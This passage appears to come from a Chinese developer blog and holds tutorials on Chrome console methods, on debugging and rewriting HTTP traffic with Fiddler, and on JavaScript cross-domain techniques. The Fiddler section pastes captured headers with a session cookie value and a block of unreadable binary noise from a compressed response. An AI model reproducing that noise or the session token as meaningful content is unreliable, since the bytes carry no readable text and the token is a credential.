7、console.group输出一组信息的开头

8、console.groupEnd结束一组输出信息

看你需求选择不同的输出方法来使用,如果上述四个方法再配合group和groupEnd方法来一起使用就可以输入各种各样的不同形式的输出信息。

哈哈,是不是觉得很神奇呀!

9、console.assert对输入的表达式进行断言,只有表达式为false时,才输出相应的信息到控制台

 

10、console.count(这个方法非常实用哦)当你想统计代码被执行的次数

11、console.dir(这个方法是我经常使用的 可不知道比for in方便了多少) 直接将该DOM结点以DOM树的结构进行输出,可以详细查对象的方法发展等等

12、console.time 计时开始

13、console.timeEnd  计时结束(看了下面的图你瞬间就感受到它的厉害了)

14、console.profileconsole.profileEnd配合一起使用来查看CPU使用相关信息

在Profiles面板里面查看就可以看到cpu相关使用信息

15、console.timeLineconsole.timeLineEnd配合一起记录一段时间轴

16、console.trace  堆栈跟踪相关的调试

上述方法只是我个人理解罢了。如果想查看具体API,可以上官方看看,具体地址为:https://developer.chrome.com/devtools/docs/console-api

 

下面介绍一下控制台的一些快捷键

1、方向键盘的上下键,大家一用就知晓。比如用上键就相当于使用上次在控制台的输入符号

2、$_命令返回最近一次表达式执行的结果,功能跟按向上的方向键再回车是一样的

上面的$_需要领悟其奥义才能使用得当,而$0~$4则代表了最近5个你选择过的DOM节点。

什么意思?在页面右击选择审查元素,然后在弹出来的DOM结点树上面随便点选,这些被点过的节点会被记录下来,而$0会返回最近一次点选的DOM结点,以此类推,$1返回的是上上次点选的DOM节点,最多保存了5个,如果不够5个,则返回undefined

3、Chrome 控制台中原生支持类jQuery的选择器,也就是说你可以用$加上熟悉的css选择器来选择DOM节点

4、copy通过此命令可以将在控制台获取到的内容复制到剪贴板

(哈哈 刚刚从控制台复制的body里面的html可以任意粘贴到哪 比如记事本  是不是觉得功能很强大)

5、keys和values 前者返回传入对象所有属性名组成的数据,后者返回所有属性值组成的数组

说到这,不免想起console.table方法了

 

 

6、monitor & unmonitor

monitor(function),它接收一个函数名作为参数,比如function a,每次a被执行了,都会在控制台输出一条信息,里面包含了函数的名称a及执行时所传入的参数。

而unmonitor(function)便是用来停止这一监听。

看了这张图,应该明白了,也就是说在monitor和unmonitor中间的代码,执行的时候会在控制台输出一条信息,里面包含了函数的名称a及执行时所传入的参数。当解除监视(也就是执行unmonitor时)就不再在控制台输出信息了。

$ // 简单理解就是 document.querySelector 而已。
$$ // 简单理解就是 document.querySelectorAll 而已。
$_ // 是上一个表达式的值
$0-$4 // 是最近5个Elements面板选中的DOM元素,待会会讲。
dir // 其实就是 console.dir
keys // 取对象的键名, 返回键名组成的数组
values // 去对象的值, 返回值组成的数组

下面看一下console.log的一些技巧

1、重写console.log 改变输出文字的样式

2、利用控制台输出图片

3、指定输出文字的样式

最后说一下chrome控制台一个简单的操作,如何查看页面元素,看下图就知道了

你在控制台简单操作一遍就知道了,是不是觉得很简单!

Fiddler实战深入研究(二)

发布时间:July 19, 2015 // 分类:工作日志,转帖文章,windows // No Comments

Fiddler不能捕获chrome的session的设置

    我家里的电脑是使用的是Fiddler4,fiddler目前都可以捕获到chrome的session,但是我公司还是使用的是Fiddler2,因为我是开发人员,很喜欢使用chrome调式代码,所以经常Fiddler捕获不到chrome下session。所以对这个可以做个总结,为了自己以后忘记了或者即将和我一样对chrome下的session捕获不到的同学一个帮助;

   1.  建议装一个SwitchySharp的Chrome插件,为fiddler创建一个规则,代理到本地的8888端口(fiddler所用的端口)

 2. 安装好后,chrome右上角有一个图标,点击选择 “选项”如下:

进入如下界面,进行如下设置即可!

接着点击保存即可~ 这样在需要的时候可以切换到Fiddler;

如上设置就可以使用了~

 

理解数据包统计

    我们代开Fiddler后开启左下角的 “Capturing”,比如我现在在chrome浏览器下进入淘宝首页后,我们可以使用Fiddler把客户端同服务器端的所有数据包都记录下来,现在我们可以切换到右侧的选项卡中的Statistics中查看数据统计信息;如下所示:

1 中的框含义是:请求总数,请求包大小,响应包大小。

2 中的框含义是:请求的起始时间,响应结束时间,等待时间,握手时间,路由时间,TCP/IP传输时间。

3 中的框含义是:http状态码统计。

4 中的含义是:返回各种类型数据大小统计以及拼图展现。

如下饼图是根据4中的来展现的;如下所示:

请求重定向(AutoResponder)

  所谓请求在我们前端就是一些基本的css,js,图片等请求,重定向是指页面请求资源文件替换成其他需要替换成的文件。

  比如我们现在需要调式线上一个js或者css文件等,我们可以使用fiddler捕获这个文件的请求,然后复制线上一份文件(比如JS或者css)代码放到本地,然后在本地的文件(JS或者css)修改完后,替换线上的文件来调式,当一切都好了话,我们可以直接把代码提交到服务器上即可;如下所示:

如上:Enable automatic responses复选框的含义是:控制是否激活AutoResponder选项卡,如果没有选中该选项,选项卡上的其他选项就不可选。

Unmatched  requests passthrough 复选框的含义是: 如果选中该选项,不匹配的请求会正常发送到服务器,如果没有选中该选项,Fiddler会为所有和该规则完全不匹配的HTTP请求生成HTTP/404 Not Found响应,比如我现在不勾选它;如下所示:

那么我现在再来访问淘宝网,就访问不了,提示如下所示:

Enable Latency的含义是:控制匹配某个规则的请求时立即执行,还是延迟Latency字段中所指定的毫秒数。如果没有选中该选项,Latency字段就不会显示,使用这个选项可以更准确地模拟现实中的服务器响应,取消该选项可以提升性能。如下所示:

我们也可以点击右键进行毫秒数设置它,如下:

在下方的Rule Editor选项卡中可以调整上面的请求替换,如下:

第一个下拉框是指 需要替换的文件,第二个下拉框a.js是替换上面的下拉框的文件;当然我们不一定要这样替换,如果我们正则非常好的话,我们可以使用正则替换需要替换的文件。当我们点击 save后即可替换。

 

Composer选项卡

Composer选项卡支持手动构建和发送HTTP,HTTPS和FTP请求,我们还可以从web session列表中拖曳session,把它放到composer选项卡中,当我们点击Execute按钮,把请求发送到服务器端。

Composer选项卡是由4个子选项卡组成的,如下所示:

其中Scratchpad选项卡不用的;

我们先来看看Options选项卡中 Request Options的复选框中的含义如下:

Inspect  Session  请求执行后,Inspectors选项卡会被激活,可以查看请求结果。

Fix Content-Length header*  该选项控制Composer是否会自动添加或修改Content-Length请求头,表示请求体的大小。在很多情况下,缺少适当的Content-Length头的请求会导致http请求响应出错。

Follow Redirects*  该选项控制Composer是否会自动使用响应的Location头,遵循HTTP/3xx重定向,如果选中该选项,Composer在失败之前最多会执行10次重定向。

Automatically Authenticate*  该选项控制composer是否会自动响应服务器的HTTP/401或HTTP/407认证需求。

Tear off button  该按钮会从主Fiddler窗口删除Composer,并把它作为独立的悬浮窗口打开。如果选中Inspect   Session选项,该选项就非常有用,因为它支持同时查看Composer和Inspector选项卡;如下所示:

上面的以*标示的选项只适用于使用Parsed选项卡发送的请求,从Raw选项卡发送的请求不支持这些选项。

Raw选项卡一般很少使用。

比如我现在获取到淘宝首页的请求,我们可以使用fiddler中的composer选项卡来重新调用一次该请求,如下所示:

我们双击该左侧的请求,到右侧Inspectors选项卡来查看如下:

我们可以点击下面的2个按钮,一个是展开,一个是收缩来查看json数据,如下所示:

Composer选项卡总体介绍如下:

Composer使用场景如下:

比如我们开发想测试post请求接口,我们都知道浏览器请求只能是get请求,所以无法使用浏览器来测试,因此我们可以使用Composer构造post请求,点击execute发送请求。

Filters选项卡断点调式

首先我们可以使用一下左侧的session,我有时候觉得filter很好玩,我就不经意间选中左侧任意一条session,然后右键也看到有filter这个选项,然后看到他们的子菜单也有很多项,我就好奇分别点击某一项后;如下所示:

做完hide所有子菜单后呢,我就再刷新淘宝页面,或者百度页面或者博客园或者任何一个页面,结果fiddler都捕获不到请求,但是偶尔会出现几条请求,但是这明显不是我们想要的,如下所示:

这是什么情况呢?我们接着再看下fiddler左侧的底部如下:

看到我们之前的右键点击子菜单后的每一项,现在我们只需要选择某一项后右键即可删除当前选中的项,我现在一个个右键,就把所有的删除掉后,我再刷新淘宝页面,就可以捕获到所有的请求了,如下所示:

下面让我们来系统的学习Filters选项卡吧!界面图如下所示:

选中Filters选项卡左上方的Use  Filters复选框后,就可以使用其中随后给出的过滤器对流量进行过滤了;

选项卡右上方的Actions按钮支持把当前选中的过滤器作为过滤集,加载之前保存的过滤集,并对之前扑捉到的数据流应用当前过滤规则,如下:

Host Filter下拉框支持标示或隐藏在随后的文本框中指定的域名下的数据流;比如如下下拉框如下:

Not Host Filter 的含义是不过滤host的请求;

Hide the following Hosts的含义是:隐藏下面文本框中指定的域名下的数据流;如下所示:

Show only the following Hosts的含义是:只显示下面文本框指定的域名的数据流,如下所示:

如上我访问的是淘宝网,那么只会显示对a.tbcdn.cn和g.alicdn.cn的数据流;如上所示:

注意:文本框不会自动通过通配符匹配子域名。这意味着如果你设置了 show only the following hosts , 并且在文本框中只写了alicdn.com, 那么将无法看到g.alicdn.com或者www.alicdn.com域名下的所有数据流,如下所示:

我们需要添加通配符  *.alicdn.com,就可以看到所有子域名下的数据流;如下所示:

如果我们想查看根目录下alicdn.com下的数据流,可以把通配符改成如下 *alicdn.com即可,这样就可以包含所有域名以alicdn.com结束的数据流。前面不要加点;如下所示:

客户端进程(Client Process

进程过滤器控制显示那个进程的数据流。正在运行的应用进程和Fiddler在相同的主机时,Fiddler才能判断出是那个进程发出的哪个请求;

下拉框 Show only traffic from的列表中包含了系统中当前正在运行的所有进程,如下所示:

如果我们选中上面的某个进程的话,就会只显示该进程下的数据流,比如我现在选中的是淘宝进程;

Show only Internet Explorer 选项只显示进程名称以IE开头或请求的User-Agent头包含compatible;MSIE的数据流;

Hide traffic from Service Host选项会隐藏来自进程svchost.exe的数据流,svchost.exe进程是个系统进程,会同步RSS Feeds以及执行其他后台网络活动。其选项一般用的不多。

请求头Request Headers

通过这个选项,你可以添加或删除HTTP请求头,也可以标示包含某些请求头的请求。

Show  only  if URL contains:的含义是支持基于URL显示某些请求;可以使用前缀EXACT来限定大小写敏感;

Hide if URL contains 和上面的是相反的含义,也就是隐藏的意思;

Flag  requests with header选项支持指定某个http请求头名称,如果在web session列表中存在该请求头,会加粗显示该session;

Delete request header 支持指定某个HTTP请求头名称,如果包含该请求头,会删除该请求头;

set request header选项支持创建一个指定了名称和取值的HTTP请求头,或将HTTP请求头更新为指定取值。

断点Breakpoints

Fiddler提供了断点调式功能,session在执行过程中,有2个可能执行中断的时间点;

  1. 从客户端读到请求后,在请求被发送到服务器端之前。
  2. 在服务器端返回响应之后,在响应返回客户端之前。

当程序在请求中断点停止执行时,你可以任意修改该请求,包括URL,headers或body,我们还可以不发送该请求到服务器端,我们可以直接自定义数据返回给客户端,同样,当程序在响应断点停止执行时,我们也可以任意修改响应的内容,包括headers或body。我们先来操作一下如下:

一: 菜单栏 Rules –》 Automatic Breakpoints –》 Before Requests(请求被发送到服务器端之前);或者 After Responses(响应返回客户端之前)

比如我现在后台系统,我点击查询按钮,需要发送一个POST请求,如下:

现在我们再来看看Fiddler中截取请求,如下所示:

如上,红色的小图标是被中断的会话,我们可以左键双击两下,进入Inspectors选项卡,如下所示:

我们在Inspectors –》 WebForms选项卡中可以看到请求中携带的参数如上,我们可以任意修改参数名值对,我们也可以任意添加参数,或者增加cookies或者headers等等,现在我们来看看浏览器中请求响应了没有?如下所示:

现在我们可以再点击黄色小图标 Break on Response 小按钮,如下所示:

可以看到,请求直接返回数据,现在黄色小图标是不能点击的按钮,现在我们可以来修改响应的内容,模拟请求返回,我们也可以自定义返回的json数据,或者我们以后来模拟get或者post请求,我们不需要服务器端(比如php)返回对应JSON数据,我们完全可以使用Fiddler来模拟数据,发送一个空的请求,然后使用fiddler来截取,自己自定义返回json数据,我们可以自定义返回的数据,如下所示,我是修改返回的内容如下所示:

当我们点击Run to Completion按钮后,在浏览器端可以响应数据,接着如下:

然后我们在页面上可以看到修改返回的数据内容如下:

如上是整个断点调式的过程。

如下所示:

当然我们可以在filters里面的选项勾选也可以进行调式如下:

断点选项框支持对包含给定属性的请求或响应设置断点;

Break request on POST选项含义是:会为所有POST请求设置断点;

Break request on GET with query string的含义是:会为所有方法为GET且URL中包含了给定查询条件的请求设置断点。

Break on XMLHttpRequest的含义是:对所有能够确定是通过XMLHTTPRequest对象发送的请求设置断点,由于从数据流上无法判断该请求是否通过XMLHTTPRequest对象发送,因此该方法是通过查找请求头是否为X-Requested-With实现的。

Break response on Content-Type选项的含义是:会为所有响应头Content-Type中包含了指定文本的响应设置响应断点。

响应状态码 Response Status Code

如下所示:

我们可以通过这些选项,基于响应状态码来过滤session;含义如下:

Hide success(2xx)的含义是:会隐藏状态码在200到299之间(包含200和299)的响应。

Hide non-2xx的含义是:会隐藏状态码不在200到299之间的响应。

Hide Authentication demands(401,407)的含义是:会隐藏状态码是401和407的响应,这些响应需要用户进一步确认证书。

Hide redirects的含义是:会隐藏对请求进行重定向的响应。

Hide Not Modified(304) 会隐藏状态条件中状态码为304的响应。

响应类型和大小

通过如上选项,我们可以控制在Web sessions列表中显示那些类型的响应,并堵塞符合某些条件的响应。

我们先来看看上面的下拉框有哪些选项;如下所示:

Show all Content-Types的含义是 不过滤;

Show only IMAGE/* 的含义是 显示Content-Type头是图像类型的Session。

Show  only HTML 的含义是 隐藏Content-Type头不是HTML类型的Session。

Show only Text/css 含义是 隐藏Content-Type头不是text/css类型的Session。

Show only Scripts 含义是 隐藏Content-Type头不是Scripts类型的Session。

Show only xml 含义是 隐藏Content-Type头不是xml类型的Session。

Show only JSON 含义是 隐藏Content-Type头不是JSON类型的Session。

Hide IMAGE/*  含义是 隐藏Content-Type头不是图像类型的Session。

Hide smaller than选项隐藏响应体小于指定的字节数的响应。

Hide larger than选项隐藏响应体大于指定字节数的响应。

Time HeatMap复选框会基于服务器返回给定响应所需要的时间为每个session设置背景颜色。

下面的不一一介绍具体的含义了,一般情况下我们是用不到的,具体的含义看英文也大概知道点,对此这边不一一介绍了;

Fiddler 中的Stave插件

Stave是一个Fiddler扩展插件,让Fiddler能将URL映射到本地目录,实现批量文件自动响应。

Fiddler自带的AutoResponder每条自动响应规则只能对应一个本地文件, 在文件数目较多的时候,使用起来很不方便,往往需要部署到本地web服务,有了Stave插件(扩展),一个URL匹配可以对应一个本地目录,URL规则也支持通配符,前端调试方便多了。

除支持URL映射到目录之外,还支持URL到URL的替换。

Stave扩展并不影响原本的AutoResponder功能,两者可以共同起作用。

一:首先安装Stave插件:

下载Stave 

安装完成后重新启动下Fiddler,可以看到右侧tab选项卡多了一个stave选项如下:

我们先可以看看本身的实列如上2个,第一个是替换目录的,第二个是替换单个文件;我们接下来看看他们的如何配置的,我们点击右键 —》 编辑  打开如下编辑页面:

可以看到如上配置;我们先来实践下吧!

比如我现在的项目,通过Fiddler截取请求如下:

现在我需要的是 我想把 172.16.28.183:8080/jgz/statics/easyui 这个路径下的所有js文件批量替换成我本地文件中的js,如下我本地的目录文件:

现在我们来看看配置如下:

  1. 首先点击右侧 右键 -> 添加

弹出添加规则如下:

把要匹配的目录填到匹配输入框里面去,替换为 填写本地的文件目录 如上面的;点击“确定”按钮即可;

现在的js文件都替换掉了,但是有时候我们需要替换单独的css文件,或者单独的js文件,我们可以在AutoResponder选项卡中进行替换,如下所示:

如上即可~ stave插件和AutoResponder选项卡搭配使用批量替换目录;

原文出处: 涂根华的博客   

Fiddler调式使用知多少

发布时间:July 16, 2015 // 分类:工作日志,转帖文章,windows,生活琐事 // No Comments

 

Fiddler的基本概念:

     Fiddler是一款基于windows系统的代理服务器软件,本地运行的程序,比如web浏览器及其他客户端的应用程序,可以把http和https请求发送给Fiddler,Fiddler通常把这些请求转发给web服务器,服务器将这些请求的响应返回给Fiddler,Fiddler再把响应转发给客户端。

      Fiddler 是以代理web服务器的形式工作的,它使用代理地址:127.0.0.1, 端口:8888. 当Fiddler会自动设置代理, 退出的时候它会自动注销代理,这样就不会影响别的程序。如果Fiddler非正常退出,这时候因为Fiddler没有自动注销,会造成网页无法访问。解决的办法是重新启动下Fiddler即可。

 

安装Fiddler

     安装Fiddler之前需要安装.net framework, 我目前的安装的是Fiddler4,所以我下载安装的是.net framework4,如下所示:

安装Fiddler和安装一般的软件没有什么区别,这里就不介绍~~;

 

了解下Fiddler用户界面

我这边是Fiddler4的界面如下:

在fiddler中web session界面中捕获到http请求如下所示:

Web session列表兰中包含了一些信息如下:

 

理解不同图标和颜色的含义(下面是常见的):

 

web session的常用的快捷键

CTRL+A: 选中所有的session;

ESC:  取消选中所有的session;

CTRL+I  反向选中;如果session已选中,则取消,否则选中;

CTRL+X  删除所有的session;

Delete: 删除选中的session;

Shift+Delete 删除所有未选中的session

R  重新执行当前请求

SHIFT+R  多次重复执行当前请求

U: 无条件重新执行当前请求,发送不包含If-Modified-Since 和 If-None-Match的请求头

SHIFT+U 无条件地多次重复执行当前请求。

ALT+Enter 查看当前session的属性;

Insert:切换是否用红色粗体标记选中的session

M  给选中的session添加描述;

 

了解web Session上下文菜单

我们来点击session一项后,右键菜单,会出现如下所示:

AutoScroll Session List选项用于决定Fiddler是否会自动把新增的session添加到web session列表中。

我们先来了解下 Copy菜单项的一些session信息如下:

Just Url: 把选中的session的url列表拷贝到剪贴板,每行一个url。如下我们定位到session中,

当我们进行粘贴的时候,看到是一个url地址;如下所示:

http://www.telerik.com/UpdateCheck.aspx?isBeta=False

上面可以看到,我们还可以使用快捷键ctrl+u 实现;

This column: 拷贝选中session菜单所在列的文本;如下:

到我们拷贝完成的时候,进行粘贴的时候,可以看到如下文本:

HTTP

Terse summary:把选中的session的简要说明复制到剪贴板中,简要说明中包括请求方法,url,响应的状态码及状态信息,如果响应是HTTP/3xx重定向,文本中也会包括响应头中Location字段的内容;如下所示:

当我们进行粘贴的时候,可以看到如下信息:

GET http://www.telerik.com/UpdateCheck.aspx?isBeta=False

200 OK (text/plain)

当然如上也可以使用快捷键;

Headers only  把session的请求头复制到剪贴板中,既可以以纯文本格式,也可以以HTML格式复制。如下:

粘贴如下:

GET http://www.telerik.com/UpdateCheck.aspx?isBeta=False HTTP/1.1
User-Agent: Fiddler/4.5.1.2 (.NET 4.0.30319.1026; WinNT 6.1.7601 SP1; zh-CN; 2xx86)
Pragma: no-cache
Accept-Language: zh-CN
Referer: http://fiddler2.com/client/4.5.1.2
Host: www.telerik.com
Accept-Encoding: gzip, deflate
Connection: Close
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: sid=jELer5vxx0gyb7Fw53nCXaobR7BcBb+Ortlpxuq2IuvsiQP1UoSgUO2DLC4HoxbgEq5YLfg959JRyKoL5ZX33nBVHffCk3UQDBWH5XAPRIGiSo9kJOvdHF6iP/UdEvLLyWb43itzcIaZNksXDEnidrB3lVo=; expires=Wed, 02-Jul-2025 01:56:29 GMT; path=/
Access-Control-Allow-Origin: http://converter.telerik.com
Date: Sun, 05 Jul 2015 01:56:29 GMT
Content-Length: 447
Connection: close

Session: 把整个session列表复制到剪贴板中,支持以纯文本和HTML这两种格式进行复制。如下:

粘贴结果如下:

GET http://www.telerik.com/UpdateCheck.aspx?isBeta=False HTTP/1.1
User-Agent: Fiddler/4.5.1.2 (.NET 4.0.30319.1026; WinNT 6.1.7601 SP1; zh-CN; 2xx86)
Pragma: no-cache
Accept-Language: zh-CN
Referer: http://fiddler2.com/client/4.5.1.2
Host: www.telerik.com
Accept-Encoding: gzip, deflate
Connection: Close

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: sid=jELer5vxx0gyb7Fw53nCXaobR7BcBb+Ortlpxuq2IuvsiQP1UoSgUO2DLC4HoxbgEq5YLfg959JRyKoL5ZX33nBVHffCk3UQDBWH5XAPRIGiSo9kJOvdHF6iP/UdEvLLyWb43itzcIaZNksXDEnidrB3lVo=; expires=Wed, 02-Jul-2025 01:56:29 GMT; path=/
Access-Control-Allow-Origin: http://converter.telerik.com
Date: Sun, 05 Jul 2015 01:56:29 GMT
Content-Length: 447
Connection: close

?


?`I?%&/m?{J?J??t??`?@??????iG#)?*??eVe]f@????{???{???;?N'????\fdl??J??!???­?~|­?"????o??????o???w?{??>??wwog????=[???2O_f?y??d?v]?i?XUu??g?f?O?n????Z7?d}q^???#


~'????=?_?????I??o???k???z?.?u??


7}???6[?7? }?-[|:o???w'eu???xZ-???uwU5msw????????W??n????v???F???????q?{~????_????q?f????i??????-?eZ??-}:????GOsB?X^?WE;O? ???I??U?]fE?M?|?'??^????M?u?PV?*?'D?4?.???b????4g?YkF?(?S????w???

Response DataURI :响应信息的DataURI
截图如下:

信息如下:

data:text/plain;base64,H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVdZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/IvZ/4+T+b5zs/sbJ3m+c7I/vj3fHe+n3Pr27d3dvZ/f+93/jJD1brOrqMk9fZtO3eZueZKt2XedpsVhVdeu+n6Vny2aVT9uqbujTn8zqolo36WR9cV68y+kjA34n/d7+3T36Xwh/lr6pqrJJj9Jvf/n6zWv64vV6hS7Sl3X10wQ3fb3K6jZb0jf0Cn2RLVsPfDpv29Wju3cnZXXRjNu8zOvi7XhaLe6eF7MZ/XV3VTVtc3f3/vbO/vbeg7tX86zdbraX+dV2sdzWRtv72/e3iRi/cfJ7fvf0+cmXX5z+nr9x8maep6/zabWcpaezoi2qZVqdpy19Oqmqt+lHT3NC46JYXqRXRTtPnwmoj9KiSZfVVZpdZkWZTcp8/Bsnz/OsXqaLigiYTap1y1BW2SqvJ0TeNKMunr76Yvu8zvM0Z+hZa0amKOJTjOv/AeF3j4a5AQAA

Full Summary  把web session列表中显示的信息复制到剪贴板。如下:

信息如下:

#     Result     Protocol Host       URL Body      Caching  Content-Type       Process   Comments     Custom 

1     200 HTTP      www.telerik.com   /UpdateCheck.aspx?isBeta=False      447 private    text/plain; charset=utf-8       fiddler:6500

Save子菜单中包含了用于把流量保存到文件中的一些选项;如下所示:

Selected Sessions中的In ArchiveZip 选项是把 Web Session列表中选中的session保存到SAZ文件中;如下所示:

Selected Sessions中的 As Text是把选中的所有session一起保存到一个文本文件中;如下:

Selected Sessions中的As Text(Headers only) 把选中session的请求头和响应头一起保存到一个文本文件中;下面还有很多选项,我这边就不一一介绍,等用到某一项的时候,我们再来介绍;

 

Fiddler如何捕获firefox中的会话

Fiddler启动时默认是IE代理设置127.0.0.1:8888,其他浏览器需要手动设置;

Firefox手动设置如下:工具 –》选项 –》高级 –》网络 –》设置

即可生效;不过上面的设置比较麻烦,我们可以安装一个插件,如下:

Firefox中安装FiddlerHook插件

当我们安装好fiddler后,就已经安装好了FiddlerHook插件了,我们需要去firefox中启用这个插件;工具—》附加组件—》扩展—》fiddlerHook启用

启用即可!!然后我们需要在firefox中进行设置即可;

我们再来看一下Firefox手动设置如下:工具 –》选项 –》高级 –》网络 –》设置

我们可以再来安装一个hostAdmin插件即可方便查看。

 

Fiddler如何捕获Https会话

默认下,Fiddler不会捕获HTTPS会话,需要你设置下, 打开Fiddler  Tool->Fiddler Options->HTTPS tab

 

弹出框后一直点击Yes即可;

Fiddler的HTTP统计视图(可以优化请求和页面)

    Fiddler的统计选项卡中显示了当前Session的基本信息,在选项卡的最上方显示的是文本信息,最下方是个饼图,按MIME类型显示流量。使用Statistics页签,用户可以通过选择多个会话来得来这几个会话的总的信息统计,比如多个请求和传输的字节数。

选择第一个请求和最后一个请求,可获得整个页面加载所消耗的总体时间。从条形图表中还可以分别出哪些请求耗时最多,从而对页面的访问进行访问速度优化。

如下所示:

 

饼图如下:

 

统计选项卡的一些信息含义如下解释:

Request Count 选中的session数;

Unique Hosts 流量流向的独立目标主机数。如果所有选中的流量都发送到相同的服务器上,则不会显示该字段。

Bytes sent:  HTTP请求头和请求体中向外发送的字节总数。后面括号中分别给出了头和body各自的字节数。

Bytes received: HTTP请求头和请求体中接收到的所有字节数。在全部计数后面的括号中给出了请求头和请求体各自的字节数。

Requests started at: Fiddler接收到的第一个请求的第一个字节的时间点。

Responses completed at: Fiddler发送到客户端的最后一个响应的最后一个字节的时间点。

Sequence(clock) duration:  第一个请求开始到最后一个响应结束之间的 “时钟时间”。

Aggregate session duration: 所有选中的session从请求到响应之间的时间的和。

DNS Lookup time: 所有选中的session解析DNS所花费的时间的总和。

TCP/IP Connect duration: 所有选中session建立TCP/IP连接所花费的时间总和。

HTTPS Handshake duration: 所有选中session在HTTPS握手上所花费的时间总和。

Response Codes: 选中session中各个HTTP响应码的计数。

Response Bytes by content-type: 选中session中响应的各个Content-Type的字节数。

Estimated Performance: 选中的流量在不同语种(local)地区和连接方式下所需时间的初步估计。

 

移动开发如何使用fiddler调式代码

 1.  首先电脑和手机要使用同一个无线网。

 2.  配置Fiddler,点击 Tools  -->  Fiddler  Options 

 3.  手机端的配置,我这边是Android手机(IOS也一样),点击设置进去,选择无线网,如下:

点击代理设置进去后,如下:

接下来可以看看我的ip地址如下:

如上设置后,我们就可以使用手机访问网页后,可以使用fiddler来监控请求或者替换js或者css文件了;

注意:有时候我访问的页面提示  “代理服务器连接失败”,那么这种情况下,很有可能是防火墙或者一些360类似的杀毒软件,我们可以在防火墙下设置为fiddler通过,如下所示:

4.  修改HOST

    如上设置我们可以监听页面请求了,但是如果我想要监听本地的服务器端的代码,就访问不了(我本地使用的服务器是php环境),比如上我在本地做demo,如果一切好的话,我上传到服务器端去,首先我们需要启动php服务器;启动好后,我们来使用本机的ip来访问下;如下所示:

1.  我们需要在fiddler里面修改配置,Tools –》 HOSTS,如下:

点击保存按钮后,我们接着再访问页面,就可以访问了,如下:

页面可以访问后,有时候我们想替换下js或者css文件,我们就可以使用右侧的tab选项栏中的AutoResponder了,如下:

在最下面的可以替换一些js或者css文件即可了;这里就不多介绍了~

如上是目前总结的一些基本fiddler基本知识点, 在接下来的业余时间会多去总结Fiddler相关调式方面的知识点~  如果总结的不好的话,希望大家多多指教~~

    总结:Fiddler基本知识点总结如上一些,在接下来的时间会全面总结Fiddler相关的含义,我们平时用到的Fiddler一些方面,但是我们还需要多去理解其他各个方面的含义,为以后使用代理http请求或者优化页面有更好的理解,因此我觉得有必要的多去学习下Fiddler知识点~ 所以Fiddler一直会有下文总结的~~

JavaScript跨域总结与解决办法

发布时间:July 15, 2015 // 分类:工作日志,代码学习,linux,转帖文章,windows // No Comments

什么是跨域

JavaScript出于安全方面的考虑,不允许跨域调用其他页面的对象。但在安全限制的同时也给注入iframe或是ajax应用上带来了不少麻烦。这里把涉及到跨域的一些问题简单地整理一下:

首先什么是跨域,简单地理解就是因为JavaScript同源策略的限制,a.com 域名下的js无法操作b.com或是c.a.com域名下的对象。更详细的说明可以看下表:

URL 说明 是否允许通信
http://www.a.com/a.js
http://www.a.com/b.js
同一域名下 允许
http://www.a.com/lab/a.js
http://www.a.com/script/b.js
同一域名下不同文件夹 允许
http://www.a.com:8000/a.js
http://www.a.com/b.js
同一域名,不同端口 不允许
http://www.a.com/a.js
https://www.a.com/b.js
同一域名,不同协议 不允许
http://www.a.com/a.js
http://70.32.92.74/b.js
域名和域名对应ip 不允许
http://www.a.com/a.js
http://script.a.com/b.js
主域相同,子域不同 不允许
http://www.a.com/a.js
http://a.com/b.js
同一域名,不同二级域名(同上) 不允许(cookie这种情况下也不允许访问)
http://www.cnblogs.com/a.js
http://www.a.com/b.js
不同域名 不允许
特别注意两点:
第一,如果是协议和端口造成的跨域问题“前台”是无能为力的,
第二:在跨域问题上,域仅仅是通过“URL的首部”来识别而不会去尝试判断相同的ip地址对应着两个域或两个域是否在同一个ip上。
“URL的首部”指window.location.protocol +window.location.host,也可以理解为“Domains, protocols and ports must match”。

接下来简单地总结一下在“前台”一般处理跨域的办法,后台proxy这种方案牵涉到后台配置,这里就不阐述了,有兴趣的可以看看yahoo的这篇文章:《JavaScript: Use a Web Proxy for Cross-Domain XMLHttpRequest Calls

1、document.domain+iframe的设置

对于主域相同而子域不同的例子,可以通过设置document.domain的办法来解决。具体的做法是可以在http://www.a.com/a.html和http://script.a.com/b.html两个文件中分别加上document.domain = ‘a.com’;然后通过a.html文件中创建一个iframe,去控制iframe的contentDocument,这样两个js文件之间就可以“交互”了。当然这种办法只能解决主域相同而二级域名不同的情况,如果你异想天开的把script.a.com的domian设为alibaba.com那显然是会报错地!代码如下:

www.a.com上的a.html

document.domain = 'a.com';
var ifr = document.createElement('iframe');
ifr.src = 'http://script.a.com/b.html';
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function(){
    var doc = ifr.contentDocument || ifr.contentWindow.document;
    // 在这里操纵b.html
    alert(doc.getElementsByTagName("h1")[0].childNodes[0].nodeValue);
};

script.a.com上的b.html

document.domain = 'a.com';

这种方式适用于{www.kuqin.com, kuqin.com, script.kuqin.com, css.kuqin.com}中的任何页面相互通信。

备注:某一页面的domain默认等于window.location.hostname。主域名是不带www的域名,例如a.com,主域名前面带前缀的通常都为二级域名或多级域名,例如www.a.com其实是二级域名。 domain只能设置为主域名,不可以在b.a.com中将domain设置为c.a.com。

问题:
1、安全性,当一个站点(b.a.com)被攻击后,另一个站点(c.a.com)会引起安全漏洞。
2、如果一个页面中引入多个iframe,要想能够操作所有iframe,必须都得设置相同domain。

2、动态创建script

虽然浏览器默认禁止了跨域访问,但并不禁止在页面中引用其他域的JS文件,并可以自由执行引入的JS文件中的function(包括操作cookie、Dom等等)。根据这一点,可以方便地通过创建script节点的方法来实现完全跨域的通信。具体的做法可以参考YUI的Get Utility

这里判断script节点加载完毕还是蛮有意思的:ie只能通过script的readystatechange属性,其它浏览器是script的load事件。以下是部分判断script加载完毕的方法。

js.onload = js.onreadystatechange = function() {
    if (!this.readyState || this.readyState === 'loaded' || this.readyState === 'complete') {
        // callback在此处执行
        js.onload = js.onreadystatechange = null;
    }
};

3、利用iframe和location.hash

